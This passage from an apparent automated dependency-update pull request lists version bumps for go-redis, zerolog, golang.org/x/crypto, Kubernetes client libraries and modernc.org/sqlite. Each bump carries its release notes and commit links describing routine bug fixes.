href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDial TCP retry\u003c/strong\u003e: \u003ccode\u003eShouldRetry\u003c/code\u003e now treats \u003ccode\u003enet.OpError\u003c/code\u003e with \u003ccode\u003eOp == \u0026quot;dial\u0026quot;\u003c/code\u003e timeout errors as safe to retry since no command was sent (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3787\"\u003e#3787\u003c/a\u003e) by \u003ca href=\"https://github.com/vladisa88\"\u003e\u003ccode\u003e@​vladisa88\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ewrappedOnClose leak\u003c/strong\u003e: Fixed resource leak caused by repeatedly wrapping \u003ccode\u003ebaseClient\u003c/code\u003e close logic; replaced with a bounded, concurrency-safe named-hook registry (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3785\"\u003e#3785\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePool Close() on stale connections\u003c/strong\u003e: Suppress close errors (e.g., TLS \u003ccode\u003ecloseNotify\u003c/code\u003e timeouts) for connections already dropped by the server due to idle timeout (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3778\"\u003e#3778\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFIFO waiter ordering\u003c/strong\u003e: Fixed race in \u003ccode\u003eConnStateMachine.notifyWaiters\u003c/code\u003e that could wake multiple waiters under a single mutex hold and violate FIFO ordering (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3777\"\u003e#3777\u003c/a\u003e) by \u003ca href=\"https://github.com/0x48core\"\u003e\u003ccode\u003e@​0x48core\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLua READONLY detection\u003c/strong\u003e: Detect \u003ccode\u003eREADONLY\u003c/code\u003e errors embedded in Lua script error messages on read-only replicas so commands are correctly retried (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3769\"\u003e#3769\u003c/a\u003e) by \u003ca href=\"https://github.com/zhengjilei\"\u003e\u003ccode\u003e@​zhengjilei\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVectorScoreSliceCmd RESP2\u003c/strong\u003e: Fixed \u003ccode\u003eVSimWithScores\u003c/code\u003e, \u003ccode\u003eVSimWithArgsWithScores\u003c/code\u003e, and \u003ccode\u003eVLinksWithScores\u003c/code\u003e which were broken on RESP2 connections returning flat arrays instead of maps (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3767\"\u003e#3767\u003c/a\u003e) by \u003ca href=\"https://github.com/apps/copilot-swe-agent\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/e7e9866e54f4423addca48ec804044cfca1b30d6\"\u003e\u003ccode\u003ee7e9866\u003c/code\u003e\u003c/a\u003e chore(release): v9.19.0 (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3796\"\u003e#3796\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/22b26f4b3ea5c2ab58605092e0937b78a8673267\"\u003e\u003ccode\u003e22b26f4\u003c/code\u003e\u003c/a\u003e feat(ft.aggregate): Add Steps for query building (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3782\"\u003e#3782\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/d9d769491154d4da6d683b73e9dfff5c878c1890\"\u003e\u003ccode\u003ed9d7694\u003c/code\u003e\u003c/a\u003e fix(pool): two fixes for closed connection handling (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3764\"\u003e#3764\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/44e8b7309cf547f620b9849a5a4dd9013cc3660a\"\u003e\u003ccode\u003e44e8b73\u003c/code\u003e\u003c/a\u003e fix(sch): auto hostname type detection (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3789\"\u003e#3789\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/ad21622ce8dba26c4ac7dc0fbf74a0bd278d2c19\"\u003e\u003ccode\u003ead21622\u003c/code\u003e\u003c/a\u003e fix(hello): do not send maintnotifications handshake when hello fails (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3788\"\u003e#3788\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/1a7ac744c3f98b415852b4c9842b97991e3e4d91\"\u003e\u003ccode\u003e1a7ac74\u003c/code\u003e\u003c/a\u003e fix(pool): suppress pool Close() errors for stale connections (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3778\"\u003e#3778\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/903d6bd360af9ea53d4af4ca652d18b915398c7d\"\u003e\u003ccode\u003e903d6bd\u003c/code\u003e\u003c/a\u003e fix(retry): make dial tcp error redirectable (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3786\"\u003e#3786\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3787\"\u003e#3787\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/00a551b3b468687e5e06b295b419292786bcdc99\"\u003e\u003ccode\u003e00a551b\u003c/code\u003e\u003c/a\u003e fix(credentials): leak in wrappedOnClose (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3785\"\u003e#3785\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/b5a6f99b7a9d496bf2e3d68ad9c33e43c23c4df9\"\u003e\u003ccode\u003eb5a6f99\u003c/code\u003e\u003c/a\u003e refactor(pool): remove redundant Conn.closed atomic field (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3783\"\u003e#3783\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/928f27aef850b3508b590e41a050f27d29fb14a2\"\u003e\u003ccode\u003e928f27a\u003c/code\u003e\u003c/a\u003e feat(hscan): add support for encoding.BinaryUnmarshaler (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3768\"\u003e#3768\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/redis/go-redis/compare/v9.18.0...v9.19.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/rs/zerolog` from 1.35.0 to 1.35.1\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rs/zerolog/commit/116c8060e034e8d46855354d22db2acbc8df9e1e\"\u003e\u003ccode\u003e116c806\u003c/code\u003e\u003c/a\u003e event: restore Err() logging when ErrorStackMarshaler returns nil (\u003ca href=\"https://redirect.github.com/rs/zerolog/issues/763\"\u003e#763\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/rs/zerolog/compare/v1.35.0...v1.35.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `golang.org/x/crypto` from 0.49.0 to 0.50.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/03ca0dcccbd37ba6be80adf74dde8d78a4d72817\"\u003e\u003ccode\u003e03ca0dc\u003c/code\u003e\u003c/a\u003e go.mod: update golang.org/x dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/8400f4a938077a7a7817ab7d163d148e371b320b\"\u003e\u003ccode\u003e8400f4a\u003c/code\u003e\u003c/a\u003e ssh: respect signer's algorithm preference in pickSignatureAlgorithm\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/81c6cb34a8fc386ed53293cd79e3c0c232ee7366\"\u003e\u003ccode\u003e81c6cb3\u003c/code\u003e\u003c/a\u003e ssh: swap cbcMinPaddingSize to cbcMinPacketSize to get encLength\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/golang/crypto/compare/v0.49.0...v0.50.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `k8s.io/api` from 0.35.0 to 0.36.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/api/commit/545bb975fe6653239af42324065cf72272186404\"\u003e\u003ccode\u003e545bb97\u003c/code\u003e\u003c/a\u003e Update dependencies to v0.36.0 tag\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/api/commit/879d3962091a3578f73c31a82c619e7a7bdfdd12\"\u003e\u003ccode\u003e879d396\u003c/code\u003e\u003c/a\u003e Merge remote-tracking branch 'origin/master' into release-1.36\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/api/commit/030d81f63ea13f09388aee12e9c39b8d7ce9e841\"\u003e\u003ccode\u003e030d81f\u003c/code\u003e\u003c/a\u003e Update github.com/moby/spdystream from v0.5.0 to v0.5.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/api/commit/aef6eb6922295161de2f7c1b9a496677938f8b20\"\u003e\u003ccode\u003eaef6eb6\u003c/code\u003e\u003c/a\u003e Add granular authorization for DRA ResourceClaim status updates\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/api/commit/91061ea648b73ce8944e1c1ff2c1e99d6bacdb54\"\u003e\u003ccode\u003e91061ea\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/kubernetes/api/issues/136589\"\u003e#136589\u003c/a\u003e from tosi3k/preemption-mode\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/api/commit/e6b81e28967d56d57aa665d6b28cc7a807423f1f\"\u003e\u003ccode\u003ee6b81e2\u003c/code\u003e\u003c/a\u003e Add Workload-Aware Preemption fields to Workload and PodGroup APIs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/api/commit/f8fce2ea6d494ed13df7d57d84e4b30b5ad5c8a3\"\u003e\u003ccode\u003ef8fce2e\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/kubernetes/api/issues/136989\"\u003e#136989\u003c/a\u003e from nojnhuh/podgroup-resourceclaim\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/api/commit/b928f5ee0f7878ef903e95ab771f1a55ed867c54\"\u003e\u003ccode\u003eb928f5e\u003c/code\u003e\u003c/a\u003e Workload API: PodGroup ResourceClaims (KEP-5729)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/api/commit/61bd78e724dd0616b1cd7f6cd802f41a32400d73\"\u003e\u003ccode\u003e61bd78e\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/kubernetes/api/issues/137190\"\u003e#137190\u003c/a\u003e from everpeace/KEP-5491-alpha\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/api/commit/6bf46eb598a71fec3182b4d598734c6a364e7cca\"\u003e\u003ccode\u003e6bf46eb\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/kubernetes/api/issues/137028\"\u003e#137028\u003c/a\u003e from nmn3m/feature/dra-resource-pool-status\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/kubernetes/api/compare/v0.35.0...v0.36.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `k8s.io/apimachinery` from 0.35.0 to 0.36.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/apimachinery/commit/debe1eba03a0c4134fd07a8f7586c44bb94ec7b0\"\u003e\u003ccode\u003edebe1eb\u003c/code\u003e\u003c/a\u003e Update dependencies to v0.36.0 tag\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/apimachinery/commit/efb7f2628b269921e5f12c4d42aece418c76789c\"\u003e\u003ccode\u003eefb7f26\u003c/code\u003e\u003c/a\u003e Merge remote-tracking branch 'origin/master' into release-1.36\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/apimachinery/commit/d966e565cd271c44ba799b594ddb67987791cb80\"\u003e\u003ccode\u003ed966e56\u003c/code\u003e\u003c/a\u003e Update github.com/moby/spdystream from v0.5.0 to v0.5.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/apimachinery/commit/79b363268543c402b68449b0cd531f8f8d0197d1\"\u003e\u003ccode\u003e79b3632\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/kubernetes/apimachinery/issues/137864\"\u003e#137864\u003c/a\u003e from yongruilin/dv-dra-mismatch\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/apimachinery/commit/a8822f7bf620eede6c3f36354cec940c3844e7a8\"\u003e\u003ccode\u003ea8822f7\u003c/code\u003e\u003c/a\u003e Add slice and map union member support with tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/apimachinery/commit/7dba2d08090b9d2285266ec2492d0b6395151f50\"\u003e\u003ccode\u003e7dba2d0\u003c/code\u003e\u003c/a\u003e Use IsZero instead of IsNil for union ratcheting check\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/apimachinery/commit/d95710f91d61d2656298071a40a04d5343c642e5\"\u003e\u003ccode\u003ed95710f\u003c/code\u003e\u003c/a\u003e Fix union validation ratcheting when oldObj is nil\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/apimachinery/commit/729062d58854ae8e9e85f5dc8d1660fb963ae483\"\u003e\u003ccode\u003e729062d\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/kubernetes/apimachinery/issues/137849\"\u003e#137849\u003c/a\u003e from bryantbiggs/deps/update-kube-openapi\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/apimachinery/commit/13b12e6214bc1c2253aa3bcf8d52c2f83e767eb0\"\u003e\u003ccode\u003e13b12e6\u003c/code\u003e\u003c/a\u003e dependencies: bump kube-openapi to drop ginkgo/gomega indirect deps\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/apimachinery/commit/27f467019a4eb99953b81708326a574524b11e8f\"\u003e\u003ccode\u003e27f4670\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/kubernetes/apimachinery/issues/136657\"\u003e#136657\u003c/a\u003e from Jefftree/sharding-test\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/kubernetes/apimachinery/compare/v0.35.0...v0.36.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `k8s.io/client-go` from 0.35.0 to 0.36.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/client-go/commit/1d95f02c1723330f751c9eb255aefb0dcd7ca3d6\"\u003e\u003ccode\u003e1d95f02\u003c/code\u003e\u003c/a\u003e Update dependencies to v0.36.0 tag\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/client-go/commit/f22a53e6273b1e6652107e62998997c714872f35\"\u003e\u003ccode\u003ef22a53e\u003c/code\u003e\u003c/a\u003e Merge remote-tracking branch 'origin/master' into release-1.36\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/client-go/commit/a948641f81a43fb81beb739cb6773028e1981d86\"\u003e\u003ccode\u003ea948641\u003c/code\u003e\u003c/a\u003e Update github.com/moby/spdystream from v0.5.0 to v0.5.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/client-go/commit/7e44ffcaa96165d6d77178c3aaca66d4523786b9\"\u003e\u003ccode\u003e7e44ffc\u003c/code\u003e\u003c/a\u003e Add Workload-Aware Preemption fields to Workload and PodGroup APIs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/client-go/commit/df2d882697f9f437d53ae16b8091786250ce0812\"\u003e\u003ccode\u003edf2d882\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/kubernetes/client-go/issues/136989\"\u003e#136989\u003c/a\u003e from nojnhuh/podgroup-resourceclaim\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/client-go/commit/4eece5291a474209f7fcba3cd8187ad855eeeca3\"\u003e\u003ccode\u003e4eece52\u003c/code\u003e\u003c/a\u003e Workload API: PodGroup ResourceClaims (KEP-5729)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/client-go/commit/3d35c512076e7c95967ac4f3565c588495785796\"\u003e\u003ccode\u003e3d35c51\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/kubernetes/client-go/issues/137190\"\u003e#137190\u003c/a\u003e from everpeace/KEP-5491-alpha\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/client-go/commit/04341177268fa5b2cb8a7502a36a81b87a6da2b2\"\u003e\u003ccode\u003e0434117\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/kubernetes/client-go/issues/137028\"\u003e#137028\u003c/a\u003e from nmn3m/feature/dra-resource-pool-status\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/client-go/commit/ba785be0acd34a5899fe245278fb63cf9156850b\"\u003e\u003ccode\u003eba785be\u003c/code\u003e\u003c/a\u003e Drop CSR analogy, mark ObjectMeta +required,reduce limits (maxItems=500, maxL...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kubernetes/client-go/commit/4a9c8783a9ad1dd96970d83ec74138d28ae11cdb\"\u003e\u003ccode\u003e4a9c878\u003c/code\u003e\u003c/a\u003e Add ResourcePoolStatusRequest API types and generated code\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/kubernetes/client-go/compare/v0.35.0...v0.36.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `modernc.org/sqlite` from 1.48.1 to 1.50.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://gitlab.com/cznic/sqlite/blob/master/CHANGELOG.md\"\u003emodernc.org/sqlite's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eChangelog\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e2026-04-24 v1.50.0:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade to sqlite-vec \u003ca href=\"https://github.com/asg017/sqlite-vec/releases/tag/v0.1.9\"\u003ev0.1.9\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eIntroduce \u003ccode\u003eColumnInfo\u003c/code\u003e, enabling dynamic query builders and ORMs to retrieve underlying SQLite C-API metadata (\u003ccode\u003eOriginName\u003c/code\u003e, \u003ccode\u003eTableName\u003c/code\u003e, \u003ccode\u003eDatabaseName\u003c/code\u003e, and \u003ccode\u003eDeclType\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eThis feature is exposed via the idiomatic \u003ccode\u003edatabase/sql\u003c/code\u003e escape hatch \u003ccode\u003e(*sql.Conn).Raw()\u003c/code\u003e, avoiding custom statement handles and keeping the standard library workflow intact.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/113\"\u003e#113\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/113\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/113\u003c/a\u003e), thanks Josh Bleecher Snyder!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e2026-04-17 v1.49.0: Upgrade to \u003ca href=\"https://sqlite.org/releaselog/3_53_0.html\"\u003eSQLite 3.53.0\u003c/a\u003e.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdded \u003ccode\u003e-DSQLITE_ENABLE_DBPAGE_VTAB\u003c/code\u003e to the transpilation. See \u003ca href=\"https://www.sqlite.org/dbpage.html\"\u003e\u0026quot;The SQLITE_DBPAGE Virtual Table\u0026quot;\u003c/a\u003e for details.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e2026-04-06 v1.48.2:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFix ABI mapping mismatch in the pre-update hook trampoline that caused silent truncation of large 64-bit RowIDs.\u003c/li\u003e\n\u003cli\u003eEnsure the Go trampoline signature correctly aligns with the public \u003ccode\u003esqlite3_preupdate_hook\u003c/code\u003e C API, preventing data corruption for high-entropy keys (e.g., Snowflake IDs).\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/98\"\u003e#98\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/98\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/98\u003c/a\u003e), thanks Josh Bleecher Snyder!\u003c/li\u003e\n\u003cli\u003eFix the memory allocator used in \u003ccode\u003e(*conn).Deserialize\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eReplace \u003ccode\u003etls.Alloc\u003c/code\u003e with \u003ccode\u003esqlite3_malloc64\u003c/code\u003e to prevent internal allocator corruption. This ensures the buffer is safely owned by SQLite, which may resize or free it due to the \u003ccode\u003eSQLITE_DESERIALIZE_RESIZEABLE\u003c/code\u003e and \u003ccode\u003eSQLITE_DESERIALIZE_FREEONCLOSE\u003c/code\u003e flags.\u003c/li\u003e\n\u003cli\u003ePrevent a memory leak by properly freeing the allocated buffer if fetching the main database name fails before handing ownership to SQLite.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/100\"\u003e#100\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/100\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/100\u003c/a\u003e), thanks Josh Bleecher Snyder!\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003e(*conn).Deserialize\u003c/code\u003e to explicitly reject \u003ccode\u003enil\u003c/code\u003e or empty byte slices.\u003c/li\u003e\n\u003cli\u003ePrevent silent database disconnection and connection pool corruption caused by SQLite's default behavior when \u003ccode\u003esqlite3_deserialize\u003c/code\u003e receives a 0-length buffer.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/101\"\u003e#101\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/101\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/101\u003c/a\u003e), thanks Josh Bleecher Snyder!\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003ecommitHookTrampoline\u003c/code\u003e and \u003ccode\u003erollbackHookTrampoline\u003c/code\u003e signatures by removing the unused \u003ccode\u003epCsr\u003c/code\u003e parameter.\u003c/li\u003e\n\u003cli\u003eAligns internal hook callbacks accurately with the underlying SQLite C API, cleaning up the code to prevent potential future confusion or bugs.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/102\"\u003e#102\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/102\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/102\u003c/a\u003e), thanks Josh Bleecher Snyder!\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003echeckptr\u003c/code\u003e instrumentation failures during \u003ccode\u003ego test -race\u003c/code\u003e when registering and using virtual tables (\u003ccode\u003evtab\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eAllocate \u003ccode\u003esqlite3_module\u003c/code\u003e instances using the C allocator (\u003ccode\u003elibc.Xcalloc\u003c/code\u003e) instead of the Go heap. This ensures transpiled C code can safely perform pointer operations on the struct without tripping Go's pointer checks.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/103\"\u003e#103\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/103\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/103\u003c/a\u003e), thanks Josh Bleecher Snyder!\u003c/li\u003e\n\u003cli\u003eFix data race on \u003ccode\u003emutex.id\u003c/code\u003e in the \u003ccode\u003emutexTry\u003c/code\u003e non-recursive path.\u003c/li\u003e\n\u003cli\u003eEnsure consistent atomic writes (\u003ccode\u003eatomic.StoreInt32\u003c/code\u003e) to prevent data races with atomic loads in \u003ccode\u003emutexHeld\u003c/code\u003e and \u003ccode\u003emutexNotheld\u003c/code\u003e during concurrent execution.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/104\"\u003e#104\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/104\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/104\u003c/a\u003e), thanks Josh Bleecher Snyder!\u003c/li\u003e\n\u003cli\u003eFix resource leak in \u003ccode\u003e(*Backup).Commit\u003c/code\u003e where the destination connection was not closed on error.\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003edstConn\u003c/code\u003e is properly closed when \u003ccode\u003esqlite3_backup_finish\u003c/code\u003e fails, preventing file descriptor, TLS, and memory leaks.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/105\"\u003e#105\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/105\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/105\u003c/a\u003e), thanks Josh Bleecher Snyder!\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003eExec\u003c/code\u003e to fully drain rows when encountering \u003ccode\u003eSQLITE_ROW\u003c/code\u003e, preventing silent data loss in DML statements.\u003c/li\u003e\n\u003cli\u003ePreviously, \u003ccode\u003eExec\u003c/code\u003e aborted after the first row, meaning \u003ccode\u003eINSERT\u003c/code\u003e, \u003ccode\u003eUPDATE\u003c/code\u003e, or \u003ccode\u003eDELETE\u003c/code\u003e statements with a \u003ccode\u003eRETURNING\u003c/code\u003e clause would fail to process subsequent rows. The execution path now correctly loops until \u003ccode\u003eSQLITE_DONE\u003c/code\u003e and properly respects context cancellations during the drain loop, fully aligning with native C \u003ccode\u003esqlite3_exec\u003c/code\u003e semantics.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/106\"\u003e#106\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/106\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/106\u003c/a\u003e), thanks Josh Bleecher Snyder!\u003c/li\u003e\n\u003cli\u003eFix \u0026quot;Shadowed err value (stmt.go)\u0026quot;.\u003c/li\u003e\n\u003cli\u003eSee [GitLab issue \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/249\"\u003e#249\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/work_items/249\"\u003ehttps://gitlab.com/cznic/sqlite/-/work_items/249\u003c/a\u003e), thanks Emrecan BATI!\u003c/li\u003e\n\u003cli\u003eFix silent omission of virtual table savepoint callbacks by correctly setting the 